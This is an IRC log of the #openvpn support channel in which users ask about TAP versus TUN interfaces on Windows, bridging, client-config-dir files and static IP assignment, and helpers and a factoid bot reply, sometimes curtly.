10:13 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
10:13 -!- Devastator- [~devas@177.99.153.48] has joined #openvpn
10:49 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
10:49 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
10:51 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
10:51 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 276 seconds]
10:52 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:54 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 240 seconds]
11:03 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 246 seconds]
11:04 < xTz> ecrist: will test that tonight, thanks
11:06 <@ecrist> no problem
11:07 <@ecrist> if I recall correctly, the filename in the CCD dir for default config is case-sensitive.  DEFAULT is the correct name
11:07 <@ecrist> just fyi
11:10 -!- CVance [~CVance@68.sub-70-196-128.myvzw.com] has joined #openvpn
11:12 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:13 -!- raidz_away is now known as raidz
11:25 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:30 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
11:33 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
11:34 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:42 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:45 -!- gladiatr [~sdspence@24.124.30.22] has joined #openvpn
11:45 -!- gladiatr [~sdspence@24.124.30.22] has quit [Changing host]
11:45 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
11:46 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 246 seconds]
11:52 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Quit: Leaving.]
11:54 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
12:06 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 260 seconds]
12:09 -!- jivee [~jive@c-71-230-92-18.hsd1.pa.comcast.net] has joined #openvpn
12:10 -!- jive [~jive@c-71-230-92-18.hsd1.pa.comcast.net] has quit [Ping timeout: 252 seconds]
12:11 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
12:12 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
12:23 -!- jive [~jive@c-71-230-92-18.hsd1.pa.comcast.net] has joined #openvpn
12:25 -!- max__ [~max@mef2036d0.tmodns.net] has joined #openvpn
12:26 -!- max__ is now known as Guest28326
12:26 -!- jivee [~jive@c-71-230-92-18.hsd1.pa.comcast.net] has quit [Ping timeout: 240 seconds]
12:28 -!- jive [~jive@c-71-230-92-18.hsd1.pa.comcast.net] has quit [Ping timeout: 264 seconds]
12:33 -!- Varazir [~mircwars@c-94-255-131-158.cust.bredband2.com] has quit [Ping timeout: 246 seconds]
12:44 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has joined #openvpn
12:52 -!- Varazir [~mircwars@c-94-255-131-158.cust.bredband2.com] has joined #openvpn
13:02 -!- Guest28326 [~max@mef2036d0.tmodns.net] has quit [Ping timeout: 245 seconds]
13:23 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:25 -!- mndo [~mndo@bl17-101-170.dsl.telepac.pt] has quit [Remote host closed the connection]
13:28 -!- rhn [~rhn@unaffiliated/rhn] has joined #openvpn
13:29 < rhn> hi, I have a weird problem. a machine I just added to my network doesn't respond to traffic
13:30 < rhn> I can see it in wireshark, but nothing happens - no ping, no TCP
13:37 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
13:41 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 260 seconds]
13:44 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
13:45 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Quit: Leaving.]
13:45 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Excess Flood]
13:46 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
13:47 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:48 -!- CVance [~CVance@68.sub-70-196-128.myvzw.com] has quit [Quit: CVance]
13:51 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 240 seconds]
13:52 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
13:53 < gladiatr> IP/MAC conflict perhaps
13:55 < EugeneKay> I'm guessing that you're using bridging, because otherwise that question has nothing to do with openvpn, at all.
13:55 < EugeneKay> !whybridge
13:55 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
13:55 < EugeneKay> If you are, read, then stop bridging, because it sucks.
13:56 < rhn> I realize it's not inherently tied to openvpn, but I thought someone might have the answer. and no, there's no bridging
13:56 < EugeneKay> !101
13:56 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
13:57 < rhn> any pointers then?
13:57 < rhn> to other channels perhaps?
13:57 < EugeneKay> ##networking perhaps
13:57 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
13:57 < rhn> thx
13:58 < vaillor> wha it is "101" ?
13:59 < rhn> btw, I didn't mention "openvpn" directly, but other machines with this exact openvpn tap setup work ok. that's why I tried here
13:59 < pekster> tap = bridging. I'm unclear why you sated earlier "and no, there's no bridging" since use of tap implies there is
13:59 < EugeneKay> No; bridging requries tap, but the reverse is not true
14:00 < EugeneKay> It's perfectly fine to run routed mode with tap devices
14:00 < pekster> Sure, you can tap with a standalone VPN (and route across it) I suppose
14:00 -!- jimmyz2 [d055d3c4@gateway/web/cgi-irc/kiwiirc.com/ip.208.85.211.196] has joined #openvpn
14:00 < EugeneKay> Works great for Ye Olde Games that don't speak IP
14:00 < pekster> Yea, I have one on standby for a couple games ca. '95
14:00 < rhn> or seting up your own DHCP server like a normal network should have
14:01 < pekster> That's more complex than you think rhn
14:01 < pekster> You can't "just use a local DHCP server" with openvpn due to the passing of the default gateway which will muck with the VPN client's own remote routing
14:01 < rhn> I have yet to figure out how to not advertise a default route
14:01 < pekster> Either you need to define different DHCP classes and not do that for VPN clients, or just let openvpn manage a segment of the bridged network itself, outside the range of the local DHCP server. That's one of the (many!) reasons we don't recommend bridging here: it's more complicated
14:02 < EugeneKay> Don't set --redirect-gateway ?
14:02 < pekster> EugeneKay: huh? No, I mean bridged setup + using the server-side LAN DHCP server to address remote VPN clients
14:02 < pekster> People try that think "bridging is so easy, and I can re-use my DHCP server" not realizing it's way more complex
14:02 < EugeneKay> I meant "how to not advertise"
14:03 < EugeneKay> And people are idiots. This is nothing new
14:12 -!- jiimyjohn [~cornfeedh@208.117.35.65] has joined #openvpn
14:13 < jiimyjohn> !welcome
14:13 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:13 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:13 < jiimyjohn> !howto
14:13 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
14:18 -!- Denial [~Denial@90.205.133.229] has quit []
14:24 -!- jiimyjohn [~cornfeedh@208.117.35.65] has quit [Ping timeout: 246 seconds]
14:24 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Remote host closed the connection]
14:25 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
14:31 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Connection reset by peer]
14:34 < vaillor> how to know in windows if my interface is TUN or TAP'
14:34 < vaillor> ?
14:35 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
14:37 < pekster> vaillor: The driver supports both; its mode is determined at runtime via the --dev argument (see the manpage)
14:38 < vaillor> pekster, i know, but only tun works
14:38 < vaillor> tap doesn't work
14:38 < pekster> tap works fine; maybe you're using it incorrectly, but I've used both under Windows
14:40 < vaillor> Tue Jul 02 21:40:02 2013 us=718750 Route: Waiting for TUN/TAP interface to come up...
14:40 < vaillor> Tue Jul 02 21:40:03 2013 us=843750 TEST ROUTES: 0/0 succeeded len=0 ret=0 a=0 u/d=down
14:40 < vaillor> Tue Jul 02 21:40:03 2013 us=843750 Route: Waiting for TUN/TAP interface to come up...
14:40 < vaillor> Tue Jul 02 21:40:04 2013 us=953125 TEST ROUTES: 0/0 succeeded len=0 ret=0 a=0 u/d=down
14:40 < vaillor> and so on...
14:41 < pekster> That's for adding the routes, not opening the device
14:41 < pekster> Play with variations of the --route-method and --ip-win32 methods
14:42 < vaillor> i have not defined routing methods, both in client and server config
14:42 < vaillor> but with tun, it works well
14:42 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
14:42 < pekster> Which is why I'm suggesting you DO so
14:42 < pekster> Dunno why you ask for advice, then ignore it
14:42 < pekster> It's getting old
14:42 < vaillor> pekster, i'm not a robot, i need to understand what to do
14:43 < pekster> I also have no clue why, when you're given options, you apparently don't look them up in the manpage and play clueless
14:43 < pekster> Then go read, not bitch a lot here about how everything "doesn't work" or sucks or whatever
14:44 < vaillor> ok, let me check about --route-method in manpage
14:44 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 252 seconds]
14:45 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:45 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
14:46 -!- WormFood [~wormfood@211.148.84.161] has quit [Ping timeout: 246 seconds]
14:50 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
14:51 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 240 seconds]
14:51 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Read error: Connection reset by peer]
14:51 < vaillor> pekster, now I stated that with the same configuration, if I wait a little bit, it connects: http://nopaste.info/71f1a77cea.html
14:52 -!- rhn [~rhn@unaffiliated/rhn] has left #openvpn ["Konversation terminated!"]
14:53 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
14:55 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has joined #openvpn
15:00 < pekster> Yup, par for the course when using Windows
15:01 < pekster> Various methods to set the address and/or routes might work quicker or slower, but all openvpn can do is ask Windows to do it and wait until it does
15:05 <@dazo> pekster: vaillor is generally a pain ... and basically tries to make us understand how s/he openvpn should work - disregarding it doesn't match the design nor the documentation ... which is why vaillor is still on my ignore list ... it's pure noise
15:05 < vaillor> and why this problem affects only TAP interface?
15:05 -!- lamba [~lamba@unaffiliated/lamba] has quit [Ping timeout: 268 seconds]
15:06 -!- lamba [~lamba@siology.net] has joined #openvpn
15:06 -!- lamba [~lamba@siology.net] has quit [Changing host]
15:06 -!- lamba [~lamba@unaffiliated/lamba] has joined #openvpn
15:07 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 240 seconds]
15:07 < EugeneKay> I think I've banned him once or twice
15:07 < EugeneKay> Not really sure how he keeps escaping
15:08 < pekster> I came close a couple of times. "If you don't succeed since March, chances are there's something else wrong"
15:08 < EugeneKay> At this point I think it's comedy
15:09 < EugeneKay> Or perhaps tragedy- like the story of Sisyphus
15:11 < vaillor> do not flood or offend, do not insist, I just do the questions, if anyone wants to answer me, I thank him, otherwise I'll shut up. I do not think annoying, and then I rarely join this channel.
15:12 < EugeneKay> Which is probably why you're not +b, just giggled at.
15:15 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
15:17 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:20 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
15:27 -!- jiimyjohn [~cornfeedh@cpe-76-95-24-22.socal.res.rr.com] has joined #openvpn
15:28 <@krzee> !winroute
15:28 <@vpnHelper> "winroute" is (#1) in windows if the route cannot be added, try route-method exe in your config file or (#2) many users also report it helps to add route-delay to give the interface extra time to get up or (#3) you may need to turn off routing and remote acess in administrative tools - routing and remote access or (#4) make sure you are running openvpn as admin or (#5) http://openvpn.net/index.php
15:28 <@vpnHelper> /open-source/faq/79-client/259-tap-win32-adapter-is-not-coming-up-qinitialization-sequence-completed-with-errorsq.html you might also want to see that and use trial and error with those solutions
15:28 <@krzee> !forget winroute 5
15:28 <@vpnHelper> Joo got it.
15:29 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:29 <@krzee> !learn winroute as you might also want to see that and use trial and error with these solutions: http://openvpn.net/index.php/open-source/faq/79-client/259-tap-win32-adapter-is-not-coming-up-qinitialization-sequence-completed-with-errorsq.html
15:29 <@vpnHelper> Joo got it.
15:30 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Quit: Leaving.]
15:37 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
15:41 -!- dazo is now known as dazo_afk
15:43 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:50 -!- CVance [~CVance@68.sub-70-196-128.myvzw.com] has joined #openvpn
15:51 < CVance> Hello pekster
15:51 < CVance> I wanted to come back and let you know that I solved the problem thanks to you help and clues
15:52 < CVance> Since the gateway devices and VPN servers for sites A and B were on the same router, there were no problems, but at site C, the main gateway and the VPN gateway were on different ip addresses. I didn't have a static route set up on the main router to the 192.168.5.0/24 subnet pointing to the VPN gateway, so machines couldn't get through...
15:52 < CVance> So again, thanks for the help
15:53 -!- Devastator- [~devas@177.99.153.48] has quit [Changing host]
15:53 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
15:58 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
16:00 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
16:01 -!- mode/#openvpn [+o dazo_afk] by ChanServ
16:01 -!- CVance [~CVance@68.sub-70-196-128.myvzw.com] has left #openvpn []
16:01 -!- dazo_afk is now known as dazo
16:04 -!- iliv [~iliv@178.137.25.199] has quit [Ping timeout: 276 seconds]
16:05 -!- mattock is now known as mattock_afk
16:05 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Quit: Leaving.]
16:22 -!- jiimyjohn [~cornfeedh@cpe-76-95-24-22.socal.res.rr.com] has quit [Ping timeout: 240 seconds]
16:27 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 240 seconds]
16:27 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
16:27 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 256 seconds]
16:28 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
16:39 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
16:40 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has joined #openvpn
16:41 < SgrA> Hi, I just configured OpenVPN on a Raspberry Pi. How do I generate the .ovpn file to use it with my Android?
16:44 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
16:45 < SgrA> My bad, my .conf files are .ovpn on Windows.
16:48 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
16:55 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:55 -!- Wheelz [~Wheelz@209-253-157-229.ip.mcleodusa.net] has joined #openvpn
16:56 < Wheelz> !welcome
16:56 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
16:56 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
16:59 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Ping timeout: 240 seconds]
16:59 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
17:00 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has quit [Ping timeout: 246 seconds]
17:03 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has joined #openvpn
17:09 < vaillor> !static
17:09 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
17:10 < vaillor> !ifconfig
17:10 <@vpnHelper> "ifconfig" is usage: ifconfig l rn | Set TUN/TAP adapter parameters. l is the IP address of the local VPN endpoint. For TUN devices, rn is the IP address of the remote VPN endpoint. For TAP devices, rn is the subnet mask of the virtual ethernet segment which is being created or connected to.
17:13 -!- MaxDamage [Damage@46.238.18.70] has quit []
17:21 -!- master_o1_master [~master_of@p4FD7B8F1.dip0.t-ipconnect.de] has joined #openvpn
17:22 -!- master_of_master [~master_of@p4FD7BB5A.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
17:33 < xTz> ecrist: this is not working btw
17:39 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 240 seconds]
17:56 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
17:57 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has quit [Remote host closed the connection]
17:57 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has joined #openvpn
18:25 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Operation timed out]
18:26 -!- jiimyjohn [~cornfeedh@cpe-142-136-96-132.socal.res.rr.com] has joined #openvpn
18:26 -!- jiimyjohn [~cornfeedh@cpe-142-136-96-132.socal.res.rr.com] has quit [Client Quit]
18:27 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 252 seconds]
18:33 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
18:38 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Quit: Leaving.]
18:42 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:51 -!- Wheelz [~Wheelz@209-253-157-229.ip.mcleodusa.net] has left #openvpn []
18:58 -!- HyperGlide [~HyperGlid@182.151.165.191] has joined #openvpn
19:01 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Max SendQ exceeded]
19:02 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
19:03 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
19:06 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 276 seconds]
19:11 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Quit: Meet your opposition - Profane and disciplined - Take back your pride - With a pounding hammer]
19:13 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Quit: Leaving]
19:13 -!- HyperGlide [~HyperGlid@182.151.165.191] has quit [Read error: Connection reset by peer]
19:13 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
19:19 -!- HyperGlide [~HyperGlid@182.151.165.191] has joined #openvpn
19:23 -!- sodajerks [~soda@peterson.midatlanticbb.com] has joined #openvpn
19:24 -!- raidz is now known as raidz_away
19:25 < sodajerks> does Comcast take aggressive measures to prevent an inbound VPN to a residential connection?  I've been on the road alot lately and it seems like my IP address is changing alot more now than it ever has...
19:27 < pekster> I don't have issues, and I'm on mine externally an average of 1-2 times a week, usually for at least a couple hours if not more
19:29 < vaillor> pekster, i solved the ifconfig issue of yesterday
19:29 -!- HyperGlide [~HyperGlid@182.151.165.191] has quit [Remote host closed the connection]
19:29 < vaillor> i set the server with tsl-server ifconfig ip subnetmask
19:30 < vaillor> and client with tsl-client; ifconfig ip-client subnetmask
19:46 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
19:51 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
19:55 -!- klong- [~klong@sw.central-asia.net] has joined #openvpn
19:56 -!- wHATEver [~andrew@mx2.admin.tomsk.ru] has joined #openvpn
19:56 -!- wHATEver is now known as Guest93213
19:57 -!- kplong [~klong@sw.central-asia.net] has quit [Write error: Connection reset by peer]
19:59 -!- myp [~andrew@mx2.admin.tomsk.ru] has quit [Ping timeout: 248 seconds]
19:59 -!- ikrabbe- [ingo@coop.ikrabbe-ask.de] has joined #openvpn
20:00 -!- andi [~andi@unaffiliated/fr00d] has quit [Disconnected by services]
20:00 -!- andi__ [~andi@shell.sixhop.net] has joined #openvpn
20:00 -!- ikrabbe [ingo@pdpc/supporter/professional/ikrabbe] has quit [Ping timeout: 246 seconds]
20:00 -!- ikrabbe- is now known as ikrabbe
20:01 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 246 seconds]
20:02 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
20:03 -!- newbie|4 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
20:03 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
20:03 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
20:04 -!- dimm0k_ [~dimm0k@pool-98-116-233-190.nycmny.fios.verizon.net] has joined #openvpn
20:05 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 256 seconds]
20:05 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Disconnected by services]
20:05 -!- abyss [~abyss@i-free.pl] has joined #openvpn
20:06 -!- LeLutin_ [~lelutin@vps-1036922-2706.manage.myhosting.com] has joined #openvpn
20:06 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
20:06 -!- johanbr_ [~johanbr@vps.nullinfinity.org] has joined #openvpn
20:07 -!- simcop2387_ [~simcop238@p3m/member/simcop2387] has joined #openvpn
20:10 -!- Netsplit *.net <-> *.split quits: BasicXP, abyss_, LeLutin, jimmyz2, simcop2387, Cultist, johanbr, clever, defswork, mete,  (+2 more, use /NETSPLIT to show all of them)
20:10 -!- simcop2387_ is now known as simcop2387
20:10 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 256 seconds]
20:10 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 256 seconds]
20:11 -!- kantlive- [~kantlivel@home.kantlivelong.com] has joined #openvpn
20:11 -!- sitaktif [~sitaktif@kollok.org] has quit [Ping timeout: 256 seconds]
20:11 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
20:12 -!- Netsplit over, joins: mete
20:12 -!- Netsplit over, joins: BasicXP
20:12 -!- Netsplit over, joins: Cultist
20:13 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
20:13 -!- mode/#openvpn [+v hazardous] by ChanServ
20:15 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Ping timeout: 256 seconds]
20:16 -!- majuscule [~dylan@dylansserver.com] has quit [Ping timeout: 256 seconds]
20:17 -!- majuscule [~dylan@dylansserver.com] has joined #openvpn
20:17 -!- sitaktif [~sitaktif@kollok.org] has joined #openvpn
20:17 -!- defswork [~andy@141.0.50.105] has joined #openvpn
20:19 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
20:20 -!- clever [~clever@47.54.82.69] has joined #openvpn
20:32 -!- sodajerks [~soda@peterson.midatlanticbb.com] has quit [Quit: Leaving]
20:41 < cornfeedhobo> How can i get a client that upon connection, bridges the created tap0 to it's local interface eth1
20:45 -!- kplong [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
20:47 -!- klong- [~klong@sw.central-asia.net] has quit [Ping timeout: 240 seconds]
20:48 < EugeneKay> !whybridge
20:48 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
20:52 < xTz> openvpn wont read anything from the ccd/ directory
20:52 < xTz> I got the client-config-dir properly set up
20:59 < cornfeedhobo> EugeneKay: i was looking at http://docs.openvpn.net/how-to-tutorialsguides/virtual-platforms/site-to-site-layer-2-bridging-using-openvpn-access-server/
20:59 <@vpnHelper> Title: Site-to-Site Layer 2 Bridging Using OpenVPN Access Server and a Linux Gateway Client | Documentation (at docs.openvpn.net)
21:00 < EugeneKay> !blog
21:00 <@vpnHelper> "blog" is Do not follow blog posts for openvpn. They are wrong, they are old, they are written by fools. We won't read them, or troubleshoot them.
21:00 < cornfeedhobo> lol nvm i missed the key
21:00 < EugeneKay> That one is particularly egregious because it's written for Access Server
21:00 < EugeneKay> !howto
21:00 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
21:01 < cornfeedhobo> i understand, but given that all i get are !notes, it has been pretty helpful ;)
21:02 < cornfeedhobo> and i have read the howto. so many times that i think i got more confused
21:06 -!- klong- [~klong@sw.central-asia.net] has joined #openvpn
21:07 -!- Toastyy [~Lynukz@173-18-122-217.client.mchsi.com] has joined #openvpn
21:07 -!- kplong [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 248 seconds]
21:08 < Toastyy> hey
21:08 -!- Toastyy [~Lynukz@173-18-122-217.client.mchsi.com] has quit [Client Quit]
21:13 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
21:18 < xTz> !ccd
21:18 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
21:19 < xTz> yep, doesnt work :)
21:21 < pekster> xTz: Works great. You'll see it funciton at --verb 4 in the logs; if it's not loading, add --ccd-exclusive and see what the file it's attempting to load is (note the 'String Remapping' section in the manpage)
21:23 < pekster> 'String Types and Remapping' is the searchable name
21:28 < xTz> pekster: let me check
21:29 < xTz> ok, so if I move push "redirect-gateway def1" from the server config file to a ccd/user (user being the commonname), a default gateway would be pushed to that client, right?
21:39 < xTz> with --ccd-exclusive it tries to load the ccd/user file and cries about no tls auth configured so it wont let it connect
21:39 < xTz> withouth that option it does not read that file :)
21:41 -!- kplong [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
21:43 < vaillor> pekster, i've stated that whit new tls-server client ifconfig configuration, vpn does not continuosly disconnect as in previous configuration, do you know why?
21:43 < vaillor> is it now permanently connected
21:44 -!- klong- [~klong@sw.central-asia.net] has quit [Ping timeout: 256 seconds]
21:45 < pekster> xTz: I'd need to see the error message, but if it denies the client connection with --ccd-exclusive, then the file isn't where it's expected to be (thus the client is deined without the "exclusive" file being present)
22:17 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
22:21 -!- Guest93213 [~andrew@mx2.admin.tomsk.ru] has left #openvpn []
22:21 -!- myp [~andrew@mx2.admin.tomsk.ru] has joined #openvpn
22:38 -!- HyperGlide [~HyperGlid@182.151.165.191] has joined #openvpn
22:44 -!- tomboy_ [tomboy@gateway/shell/blinkenshell.org/x-znnyduhrvnvqkksq] has joined #openvpn
23:00 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has quit [Read error: Connection reset by peer]
